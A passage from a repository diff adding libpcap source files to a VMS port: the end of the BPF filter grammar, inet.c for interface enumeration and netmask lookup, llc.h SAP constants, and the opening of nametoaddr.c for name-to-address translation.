| pqual dqual { QSET($$.q, $1, $2, Q_DEFAULT); }
| pqual aqual { QSET($$.q, $1, Q_DEFAULT, $2); }
| pqual PROTO { QSET($$.q, $1, Q_DEFAULT, Q_PROTO); }
| pqual PROTOCHAIN { QSET($$.q, $1, Q_DEFAULT, Q_PROTOCHAIN); }
| pqual ndaqual { QSET($$.q, $1, Q_DEFAULT, $2); }
;
rterm: head id { $$ = $2; }
| paren expr ')' { $$.b = $2.b; $$.q = $1.q; }
| pname { $$.b = gen_proto_abbrev($1); $$.q = qerr; }
| arth relop arth { $$.b = gen_relation($2, $1, $3, 0);
$$.q = qerr; }
| arth irelop arth { $$.b = gen_relation($2, $1, $3, 1);
$$.q = qerr; }
| other { $$.b = $1; $$.q = qerr; }
| atmtype { $$.b = gen_atmtype_abbrev($1); $$.q = qerr; }
| atmmultitype { $$.b = gen_atmmulti_abbrev($1); $$.q = qerr; }
| atmfield atmvalue { $$.b = $2.b; $$.q = qerr; }
;
/* protocol level qualifiers */
pqual: pname
| { $$ = Q_DEFAULT; }
;
/* 'direction' qualifiers */
dqual: SRC { $$ = Q_SRC; }
| DST { $$ = Q_DST; }
| SRC OR DST { $$ = Q_OR; }
| DST OR SRC { $$ = Q_OR; }
| SRC AND DST { $$ = Q_AND; }
| DST AND SRC { $$ = Q_AND; }
;
/* address type qualifiers */
aqual: HOST { $$ = Q_HOST; }
| NET { $$ = Q_NET; }
| PORT { $$ = Q_PORT; }
;
/* non-directional address type qualifiers */
ndaqual: GATEWAY { $$ = Q_GATEWAY; }
;
pname: LINK { $$ = Q_LINK; }
| IP { $$ = Q_IP; }
| ARP { $$ = Q_ARP; }
| RARP { $$ = Q_RARP; }
| SCTP { $$ = Q_SCTP; }
| TCP { $$ = Q_TCP; }
| UDP { $$ = Q_UDP; }
| ICMP { $$ = Q_ICMP; }
| IGMP { $$ = Q_IGMP; }
| IGRP { $$ = Q_IGRP; }
| PIM { $$ = Q_PIM; }
| VRRP { $$ = Q_VRRP; }
| ATALK { $$ = Q_ATALK; }
| AARP { $$ = Q_AARP; }
| DECNET { $$ = Q_DECNET; }
| LAT { $$ = Q_LAT; }
| SCA { $$ = Q_SCA; }
| MOPDL { $$ = Q_MOPDL; }
| MOPRC { $$ = Q_MOPRC; }
| IPV6 { $$ = Q_IPV6; }
| ICMPV6 { $$ = Q_ICMPV6; }
| AH { $$ = Q_AH; }
| ESP { $$ = Q_ESP; }
| ISO { $$ = Q_ISO; }
| ESIS { $$ = Q_ESIS; }
| ISIS { $$ = Q_ISIS; }
| CLNP { $$ = Q_CLNP; }
| STP { $$ = Q_STP; }
| IPX { $$ = Q_IPX; }
| NETBEUI { $$ = Q_NETBEUI; }
;
other: pqual TK_BROADCAST { $$ = gen_broadcast($1); }
| pqual TK_MULTICAST { $$ = gen_multicast($1); }
| LESS NUM { $$ = gen_less($2); }
| GREATER NUM { $$ = gen_greater($2); }
| CBYTE NUM byteop NUM { $$ = gen_byteop($3, $2, $4); }
| INBOUND { $$ = gen_inbound(0); }
| OUTBOUND { $$ = gen_inbound(1); }
| VLAN pnum { $$ = gen_vlan($2); }
| VLAN { $$ = gen_vlan(-1); }
;
relop: '>' { $$ = BPF_JGT; }
| GEQ { $$ = BPF_JGE; }
| '=' { $$ = BPF_JEQ; }
;
irelop: LEQ { $$ = BPF_JGT; }
| '<' { $$ = BPF_JGE; }
| NEQ { $$ = BPF_JEQ; }
;
arth: pnum { $$ = gen_loadi($1); }
| narth
;
narth: pname '[' arth ']' { $$ = gen_load($1, $3, 1); }
| pname '[' arth ':' NUM ']' { $$ = gen_load($1, $3, $5); }
| arth '+' arth { $$ = gen_arth(BPF_ADD, $1, $3); }
| arth '-' arth { $$ = gen_arth(BPF_SUB, $1, $3); }
| arth '*' arth { $$ = gen_arth(BPF_MUL, $1, $3); }
| arth '/' arth { $$ = gen_arth(BPF_DIV, $1, $3); }
| arth '&' arth { $$ = gen_arth(BPF_AND, $1, $3); }
| arth '|' arth { $$ = gen_arth(BPF_OR, $1, $3); }
| arth LSH arth { $$ = gen_arth(BPF_LSH, $1, $3); }
| arth RSH arth { $$ = gen_arth(BPF_RSH, $1, $3); }
| '-' arth %prec UMINUS { $$ = gen_neg($2); }
| paren narth ')' { $$ = $2; }
| LEN { $$ = gen_loadlen(); }
;
byteop: '&' { $$ = '&'; }
| '|' { $$ = '|'; }
| '<' { $$ = '<'; }
| '>' { $$ = '>'; }
| '=' { $$ = '='; }
;
pnum: NUM
| paren pnum ')' { $$ = $2; }
;
atmtype: LANE { $$ = A_LANE; }
| LLC { $$ = A_LLC; }
| METAC { $$ = A_METAC; }
| BCC { $$ = A_BCC; }
| OAMF4EC { $$ = A_OAMF4EC; }
| OAMF4SC { $$ = A_OAMF4SC; }
| SC { $$ = A_SC; }
| ILMIC { $$ = A_ILMIC; }
;
atmmultitype: OAM { $$ = A_OAM; }
| OAMF4 { $$ = A_OAMF4; }
| CONNECTMSG { $$ = A_CONNECTMSG; }
| METACONNECT { $$ = A_METACONNECT; }
;
/* ATM field types quantifier */
atmfield: VPI { $$.atmfieldtype = A_VPI; }
| VCI { $$.atmfieldtype = A_VCI; }
;
atmvalue: atmfieldvalue
| relop NUM { $$.b = gen_atmfield_code($<blk>0.atmfieldtype, (u_int)$2, (u_int)$1, 0); }
| irelop NUM { $$.b = gen_atmfield_code($<blk>0.atmfieldtype, (u_int)$2, (u_int)$1, 1); }
| paren atmlistvalue ')' { $$.b = $2.b; $$.q = qerr; }
;
atmfieldvalue: NUM {
$$.atmfieldtype = $<blk>0.atmfieldtype;
if ($$.atmfieldtype == A_VPI ||
$$.atmfieldtype == A_VCI)
$$.b = gen_atmfield_code($$.atmfieldtype, (u_int) $1, BPF_JEQ, 0);
}
;
atmlistvalue: atmfieldvalue
| atmlistvalue or atmfieldvalue { gen_or($1.b, $3.b); $$ = $3; }
;
%%

679
Pcap-VMS/pcap-vci/inet.c Normal file
View File

@@ -0,0 +1,679 @@
/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */
/*
* Copyright (c) 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.52 2002/08/02 03:44:20 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef WIN32
#include <pcap-stdinc.h>
#else /* WIN32 */
#ifdef VMS
#include "pcap-vms.h"
#endif
#ifndef VMS
#include <sys/param.h>
#endif
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#ifdef HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
#include <sys/time.h> /* concession to AIX */
struct mbuf; /* Squelch compiler warnings on some platforms for */
struct rtentry; /* declarations in <net/if.h> */
#include <net/if.h>
#include <netinet/in.h>
#endif /* WIN32 */
#include <ctype.h>
#include <errno.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef WIN32
#include <unistd.h>
#endif /* WIN32 */
#ifdef HAVE_LIMITS_H
#include <limits.h>
#else
#define INT_MAX 2147483647
#endif
#ifdef HAVE_IFADDRS_H
#include <ifaddrs.h>
#endif
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/* Not all systems have IFF_LOOPBACK */
#ifdef IFF_LOOPBACK
#define ISLOOPBACK(name, flags) ((flags) & IFF_LOOPBACK)
#else
#define ISLOOPBACK(name, flags) ((name)[0] == 'l' && (name)[1] == 'o' && \
(isdigit((unsigned char)((name)[2])) || (name)[2] == '\0'))
#endif
struct sockaddr *
dup_sockaddr(struct sockaddr *sa, size_t sa_len)
{
struct sockaddr *newsa;
if ((newsa = malloc(sa_len)) == NULL)
return (NULL);
return (memcpy(newsa, sa, sa_len));
}
static int
get_instance(char *name)
{
char *cp, *endcp;
int n;
if (strcmp(name, "any") == 0) {
/*
* Give the "any" device an artificially high instance
* number, so it shows up after all other non-loopback
* interfaces.
*/
return INT_MAX;
}
endcp = name + strlen(name);
for (cp = name; cp < endcp && !isdigit((unsigned char)*cp); ++cp)
continue;
if (isdigit((unsigned char)*cp))
n = atoi(cp);
else
n = 0;
return (n);
}
int
add_or_find_if(pcap_if_t **curdev_ret, pcap_if_t **alldevs, char *name,
u_int flags, const char *description, char *errbuf)
{
pcap_t *p;
pcap_if_t *curdev, *prevdev, *nextdev;
int this_instance;
/*
* Can we open this interface for live capture?
*/
#ifdef VMS
p = pcap_open_live(name, 68, 1, 0, errbuf);
#else
p = pcap_open_live(name, 68, 0, 0, errbuf);
#endif
if (p == NULL) {
/*
* No. Don't bother including it.
* Don't treat this as an error, though.
*/
*curdev_ret = NULL;
return (0);
}
pcap_close(p);
/*
* Is there already an entry in the list for this interface?
*/
for (curdev = *alldevs; curdev != NULL; curdev = curdev->next) {
if (strcmp(name, curdev->name) == 0)
break; /* yes, we found it */
}
if (curdev == NULL) {
/*
* No, we didn't find it.
* Allocate a new entry.
*/
curdev = malloc(sizeof(pcap_if_t));
if (curdev == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
return (-1);
}
/*
* Fill in the entry.
*/
curdev->next = NULL;
curdev->name = malloc(strlen(name) + 1);
strcpy(curdev->name, name);
if (description != NULL) {
/*
* We have a description for this interface.
*/
curdev->description = malloc(strlen(description) + 1);
strcpy(curdev->description, description);
} else {
/*
* We don't.
*/
curdev->description = NULL;
}
curdev->addresses = NULL; /* list starts out as empty */
curdev->flags = 0;
if (ISLOOPBACK(name, flags))
curdev->flags |= PCAP_IF_LOOPBACK;
/*
* Add it to the list, in the appropriate location.
* First, get the instance number of this interface.
*/
this_instance = get_instance(name);
/*
* Now look for the last interface with an instance number
* less than or equal to the new interface's instance
* number - except that non-loopback interfaces are
* arbitrarily treated as having interface numbers less
* than those of loopback interfaces, so the loopback
* interfaces are put at the end of the list.
*
* We start with "prevdev" being NULL, meaning we're before
* the first element in the list.
*/
prevdev = NULL;
for (;;) {
/*
* Get the interface after this one.
*/
if (prevdev == NULL) {
/*
* The next element is the first element.
*/
nextdev = *alldevs;
} else
nextdev = prevdev->next;
/*
* Are we at the end of the list?
*/
if (nextdev == NULL) {
/*
* Yes - we have to put the new entry
* after "prevdev".
*/
break;
}
/*
* Is the new interface a non-loopback interface
* and the next interface a loopback interface?
*/
if (!(curdev->flags & PCAP_IF_LOOPBACK) &&
(nextdev->flags & PCAP_IF_LOOPBACK)) {
/*
* Yes, we should put the new entry
* before "nextdev", i.e. after "prevdev".
*/
break;
}
/*
* Is the new interface's instance number less
* than the next interface's instance number,
* and is it the case that the new interface is a
* non-loopback interface or the next interface is
* a loopback interface?
*
* (The goal of both loopback tests is to make
* sure that we never put a loopback interface
* before any non-loopback interface and that we
* always put a non-loopback interface before all
* loopback interfaces.)
*/
if (this_instance < get_instance(nextdev->name) &&
(!(curdev->flags & PCAP_IF_LOOPBACK) ||
(nextdev->flags & PCAP_IF_LOOPBACK))) {
/*
* Yes - we should put the new entry
* before "nextdev", i.e. after "prevdev".
*/
break;
}
prevdev = nextdev;
}
/*
* Insert before "nextdev".
*/
curdev->next = nextdev;
/*
* Insert after "prevdev" - unless "prevdev" is null,
* in which case this is the first interface.
*/
if (prevdev == NULL) {
/*
* This is the first interface. Pass back a
* pointer to it, and put "curdev" before
* "nextdev".
*/
*alldevs = curdev;
} else
prevdev->next = curdev;
}
*curdev_ret = curdev;
return (0);
}
int
add_addr_to_iflist(pcap_if_t **alldevs, char *name, u_int flags,
struct sockaddr *addr, size_t addr_size,
struct sockaddr *netmask, size_t netmask_size,
struct sockaddr *broadaddr, size_t broadaddr_size,
struct sockaddr *dstaddr, size_t dstaddr_size,
char *errbuf)
{
pcap_if_t *curdev;
pcap_addr_t *curaddr, *prevaddr, *nextaddr;
if (add_or_find_if(&curdev, alldevs, name, flags, NULL, errbuf) == -1) {
/*
* Error - give up.
*/
return (-1);
}
if (curdev == NULL) {
/*
* Device wasn't added because it can't be opened.
* Not a fatal error.
*/
return (0);
}
/*
* "curdev" is an entry for this interface; add an entry for this
* address to its list of addresses.
*
* Allocate the new entry and fill it in.
*/
curaddr = malloc(sizeof(pcap_addr_t));
if (curaddr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
return (-1);
}
curaddr->next = NULL;
if (addr != NULL) {
curaddr->addr = dup_sockaddr(addr, addr_size);
if (curaddr->addr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->addr = NULL;
if (netmask != NULL) {
curaddr->netmask = dup_sockaddr(netmask, netmask_size);
if (curaddr->netmask == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->netmask = NULL;
if (broadaddr != NULL) {
curaddr->broadaddr = dup_sockaddr(broadaddr, broadaddr_size);
if (curaddr->broadaddr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->broadaddr = NULL;
if (dstaddr != NULL) {
curaddr->dstaddr = dup_sockaddr(dstaddr, dstaddr_size);
if (curaddr->dstaddr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->dstaddr = NULL;
/*
* Find the end of the list of addresses.
*/
for (prevaddr = curdev->addresses; prevaddr != NULL; prevaddr = nextaddr) {
nextaddr = prevaddr->next;
if (nextaddr == NULL) {
/*
* This is the end of the list.
*/
break;
}
}
if (prevaddr == NULL) {
/*
* The list was empty; this is the first member.
*/
curdev->addresses = curaddr;
} else {
/*
* "prevaddr" is the last member of the list; append
* this member to it.
*/
prevaddr->next = curaddr;
}
return (0);
}
int
pcap_add_if(pcap_if_t **devlist, char *name, u_int flags,
const char *description, char *errbuf)
{
pcap_if_t *curdev;
return (add_or_find_if(&curdev, devlist, name, flags, description,
errbuf));
}
/*
* Free a list of interfaces.
*/
void
pcap_freealldevs(pcap_if_t *alldevs)
{
pcap_if_t *curdev, *nextdev;
pcap_addr_t *curaddr, *nextaddr;
for (curdev = alldevs; curdev != NULL; curdev = nextdev) {
nextdev = curdev->next;
/*
* Free all addresses.
*/
for (curaddr = curdev->addresses; curaddr != NULL; curaddr = nextaddr) {
nextaddr = curaddr->next;
if (curaddr->addr)
free(curaddr->addr);
if (curaddr->netmask)
free(curaddr->netmask);
if (curaddr->broadaddr)
free(curaddr->broadaddr);
if (curaddr->dstaddr)
free(curaddr->dstaddr);
free(curaddr);
}
/*
* Free the name string.
*/
free(curdev->name);
/*
* Free the description string, if any.
*/
if (curdev->description != NULL)
free(curdev->description);
/*
* Free the interface.
*/
free(curdev);
}
}
#ifndef WIN32
/*
* Return the name of a network interface attached to the system, or NULL
* if none can be found. The interface must be configured up; the
* lowest unit number is preferred; loopback is ignored.
*/
char *
pcap_lookupdev(errbuf)
register char *errbuf;
{
pcap_if_t *alldevs;
/* for old BSD systems, including bsdi3 */
#ifndef IF_NAMESIZE
#define IF_NAMESIZE IFNAMSIZ
#endif
static char device[IF_NAMESIZE + 1];
char *ret;
if (pcap_findalldevs(&alldevs, errbuf) == -1)
return (NULL);
if (alldevs == NULL || (alldevs->flags & PCAP_IF_LOOPBACK)) {
/*
* There are no devices on the list, or the first device
* on the list is a loopback device, which means there
* are no non-loopback devices on the list. This means
* we can't return any device.
*
* XXX - why not return a loopback device? If we can't
* capture on it, it won't be on the list, and if it's
* on the list, there aren't any non-loopback devices,
* so why not just supply it as the default device?
*/
(void)strlcpy(errbuf, "no suitable device found",
PCAP_ERRBUF_SIZE);
ret = NULL;
} else {
/*
* Return the name of the first device on the list.
*/
(void)strlcpy(device, alldevs->name, (int) sizeof(device));
ret = device;
}
pcap_freealldevs(alldevs);
return (ret);
}
int
pcap_lookupnet(device, netp, maskp, errbuf)
register char *device;
register bpf_u_int32 *netp, *maskp;
register char *errbuf;
{
register int fd;
register struct sockaddr_in *sin;
#ifdef VMS
struct ifconf ifc;
struct ifreq ifreq[64];
#endif
struct ifreq ifr;
/*
* The pseudo-device "any" listens on all interfaces and therefore
* has the network address and -mask "0.0.0.0" therefore catching
* all traffic. Using NULL for the interface is the same as "any".
*/
if (!device || strcmp(device, "any") == 0) {
*netp = *maskp = 0;
return 0;
}
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE, "socket: %s",
pcap_strerror(errno));
return (-1);
}
#ifdef VMS
ifc.ifc_req = ifreq;
ifc.ifc_len = sizeof(ifreq);
ioctl(fd, SIOCGIFCONF, (char *) &ifc);
#endif
memset(&ifr, 0, sizeof(ifr));
#ifdef linux
/* XXX Work around Linux kernel bug */
ifr.ifr_addr.sa_family = AF_INET;
#endif
(void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
if (ioctl(fd, SIOCGIFADDR, (char *)&ifr) < 0) {
if (errno == EADDRNOTAVAIL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"%s: no IPv4 address assigned", device);
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFADDR: %s: %s",
device, pcap_strerror(errno));
}
(void)close(fd);
return (-1);
}
sin = (struct sockaddr_in *)&ifr.ifr_addr;
*netp = sin->sin_addr.s_addr;
if (ioctl(fd, SIOCGIFNETMASK, (char *)&ifr) < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGIFNETMASK: %s: %s", device, pcap_strerror(errno));
(void)close(fd);
return (-1);
}
(void)close(fd);
*maskp = sin->sin_addr.s_addr;
if (*maskp == 0) {
if (IN_CLASSA(*netp))
*maskp = IN_CLASSA_NET;
else if (IN_CLASSB(*netp))
*maskp = IN_CLASSB_NET;
else if (IN_CLASSC(*netp))
*maskp = IN_CLASSC_NET;
else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"inet class for 0x%x unknown", *netp);
return (-1);
}
}
*netp &= *maskp;
return (0);
}
#else /* WIN32 */
/*
* Return the name of a network interface attached to the system, or NULL
* if none can be found. The interface must be configured up; the
* lowest unit number is preferred; loopback is ignored.
*/
char *
pcap_lookupdev(errbuf)
register char *errbuf;
{
DWORD dwVersion;
DWORD dwWindowsMajorVersion;
dwVersion = GetVersion(); /* get the OS version */
dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
if (dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4) {
/*
* Windows 95, 98, ME.
*/
ULONG NameLength = 8192;
static char AdaptersName[8192];
PacketGetAdapterNames(AdaptersName,&NameLength);
return (AdaptersName);
} else {
/*
* Windows NT (NT 4.0, W2K, WXP).
*/
ULONG NameLength = 8192;
static WCHAR AdaptersName[8192];
PacketGetAdapterNames((PTSTR)AdaptersName,&NameLength);
return (char *)(AdaptersName);
}
}
int
pcap_lookupnet(device, netp, maskp, errbuf)
register char *device;
register bpf_u_int32 *netp, *maskp;
register char *errbuf;
{
/*
* We need only the first address, so we allocate a single
* npf_if_addr structure and we set if_addr_size to 1.
*/
npf_if_addr if_addrs;
LONG if_addr_size = 1;
struct sockaddr_in *t_addr;
if (!PacketGetNetInfoEx((void *)device, &if_addrs, &if_addr_size)) {
*netp = *maskp = 0;
return (0);
}
t_addr = (struct sockaddr_in *) &(if_addrs.IPAddress);
*netp = t_addr->sin_addr.S_un.S_addr;
t_addr = (struct sockaddr_in *) &(if_addrs.SubnetMask);
*maskp = t_addr->sin_addr.S_un.S_addr;
/*
* XXX - will we ever get back a 0 netmask?
* If so, we should presumably make the "if (*maskp == 0)" code
* above common, rather than non-Win32-specific.
*/
*netp &= *maskp;
return (0);
}
#endif /* WIN32 */

69
Pcap-VMS/pcap-vci/llc.h Normal file
View File

@@ -0,0 +1,69 @@
/*
* Copyright (c) 1993, 1994, 1997
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/llc.h,v 1.2 2001/01/28 09:44:50 guy Exp $ (LBL)
*/
/*
* 802.2 LLC SAP values.
*/
#ifndef LLCSAP_NULL
#define LLCSAP_NULL 0x00
#endif
#ifndef LLCSAP_GLOBAL
#define LLCSAP_GLOBAL 0xff
#endif
#ifndef LLCSAP_8021B
#define LLCSAP_8021B_I 0x02
#endif
#ifndef LLCSAP_8021B
#define LLCSAP_8021B_G 0x03
#endif
#ifndef LLCSAP_IP
#define LLCSAP_IP 0x06
#endif
#ifndef LLCSAP_PROWAYNM
#define LLCSAP_PROWAYNM 0x0e
#endif
#ifndef LLCSAP_8021D
#define LLCSAP_8021D 0x42
#endif
#ifndef LLCSAP_RS511
#define LLCSAP_RS511 0x4e
#endif
#ifndef LLCSAP_ISO8208
#define LLCSAP_ISO8208 0x7e
#endif
#ifndef LLCSAP_PROWAY
#define LLCSAP_PROWAY 0x8e
#endif
#ifndef LLCSAP_SNAP
#define LLCSAP_SNAP 0xaa
#endif
#ifndef LLCSAP_IPX
#define LLCSAP_IPX 0xe0
#endif
#ifndef LLCSAP_NETBEUI
#define LLCSAP_NETBEUI 0xf0
#endif
#ifndef LLCSAP_ISONS
#define LLCSAP_ISONS 0xfe
#endif

View File

@@ -0,0 +1,435 @@
/*
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* Name to id translation routines used by the scanner.
* These functions are not time critical.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.67 2002/08/02 05:53:53 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef WIN32
#include <pcap-stdinc.h>
#else /* WIN32 */
#ifdef VMS
#include "pcap-vms.h"
#endif
#ifndef VMS
#include <sys/param.h>
#endif
#include <sys/types.h> /* concession to AIX */
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#endif /* WIN32 */
/*
* XXX - why was this included even on UNIX?
*/
#ifdef __MINGW32__
#include "IP6_misc.h"
#endif
#ifndef WIN32
#ifdef HAVE_ETHER_HOSTTON
#ifdef HAVE_NETINET_IF_ETHER_H
struct mbuf; /* Squelch compiler warnings on some platforms for */
struct rtentry; /* declarations in <net/if.h> */
#include <net/if.h> /* for "struct ifnet" in "struct arpcom" on Solaris */
#include <netinet/if_ether.h>
#endif /* HAVE_NETINET_IF_ETHER_H */
#endif /* HAVE_ETHER_HOSTTON */
#include <arpa/inet.h>
#include <netdb.h>
#endif /* WIN32 */
#include <ctype.h>
#include <errno.h>
#include <stdlib.h>
#include <memory.h>
#include <stdio.h>
#include "pcap-int.h"
#include "gencode.h"
#include <pcap-namedb.h>
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifndef NTOHL
#define NTOHL(x) (x) = ntohl(x)
#define NTOHS(x) (x) = ntohs(x)
#endif
static inline int xdtoi(int);
/*
* Convert host name to internet address.
* Return 0 upon failure.
*/
bpf_u_int32 **
pcap_nametoaddr(const char *name)
{
#ifndef h_addr
static bpf_u_int32 *hlist[2];
#endif
bpf_u_int32 **p;
struct hostent *hp;
if ((hp = gethostbyname(name)) != NULL) {
#ifndef h_addr
hlist[0] = (bpf_u_int32 *)hp->h_addr;
NTOHL(hp->h_addr);
return hlist;
#else
for (p = (bpf_u_int32 **)hp->h_addr_list; *p; ++p)
NTOHL(**p);
return (bpf_u_int32 **)hp->h_addr_list;
#endif
}
else
return 0;
}
#ifdef INET6
struct addrinfo *
pcap_nametoaddrinfo(const char *name)
{
struct addrinfo hints, *res;
int error;
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM; /*not really*/
error = getaddrinfo(name, NULL, &hints, &res);
if (error)
return NULL;
else
return res;
}
#endif /*INET6*/
/*
* Convert net name to internet address.
* Return 0 upon failure.
*/
bpf_u_int32
pcap_nametonetaddr(const char *name)
{
#ifndef WIN32
struct netent *np;
if ((np = getnetbyname(name)) != NULL)
return np->n_net;
else
return 0;
#else
/*
* There's no "getnetbyname()" on Windows.
*/
return 0;
#endif
}
/*
* Convert a port name to its port and protocol numbers.
* We assume only TCP or UDP.
* Return 0 upon failure.
*/
int
pcap_nametoport(const char *name, int *port, int *proto)
{
struct servent *sp;
char *other;
sp = getservbyname(name, (char *)0);
if (sp != NULL) {
NTOHS(sp->s_port);
*port = sp->s_port;
*proto = pcap_nametoproto(sp->s_proto);
/*
* We need to check /etc/services for ambiguous entries.
* If we find the ambiguous entry, and it has the
* same port number, change the proto to PROTO_UNDEF
* so both TCP and UDP will be checked.
*/
if (*proto == IPPROTO_TCP)
other = "udp";
else
other = "tcp";
sp = getservbyname(name, other);
if (sp != 0) {
NTOHS(sp->s_port);
#ifdef notdef
if (*port != sp->s_port)
/* Can't handle ambiguous names that refer
to different port numbers. */
warning("ambiguous port %s in /etc/services",
name);
#endif
*proto = PROTO_UNDEF;
}
return 1;
}
#if defined(ultrix) || defined(__osf__)
/* Special hack in case NFS isn't in /etc/services */
if (strcmp(name, "nfs") == 0) {
*port = 2049;
*proto = PROTO_UNDEF;
return 1;
}
#endif
return 0;
}
int
pcap_nametoproto(const char *str)
{
struct protoent *p;
p = getprotobyname(str);
if (p != 0)
return p->p_proto;
else
return PROTO_UNDEF;
}
#include "ethertype.h"
struct eproto {
char *s;
u_short p;
};
/* Static data base of ether protocol types. */
struct eproto eproto_db[] = {
{ "pup", ETHERTYPE_PUP },
{ "xns", ETHERTYPE_NS },
{ "ip", ETHERTYPE_IP },
#ifdef INET6
{ "ip6", ETHERTYPE_IPV6 },
#endif
{ "arp", ETHERTYPE_ARP },
{ "rarp", ETHERTYPE_REVARP },
{ "sprite", ETHERTYPE_SPRITE },
{ "mopdl", ETHERTYPE_MOPDL },
{ "moprc", ETHERTYPE_MOPRC },
{ "decnet", ETHERTYPE_DN },
{ "lat", ETHERTYPE_LAT },
{ "sca", ETHERTYPE_SCA },
{ "lanbridge", ETHERTYPE_LANBRIDGE },
{ "vexp", ETHERTYPE_VEXP },
{ "vprod", ETHERTYPE_VPROD },
{ "atalk", ETHERTYPE_ATALK },
{ "atalkarp", ETHERTYPE_AARP },
{ "loopback", ETHERTYPE_LOOPBACK },
{ "decdts", ETHERTYPE_DECDTS },
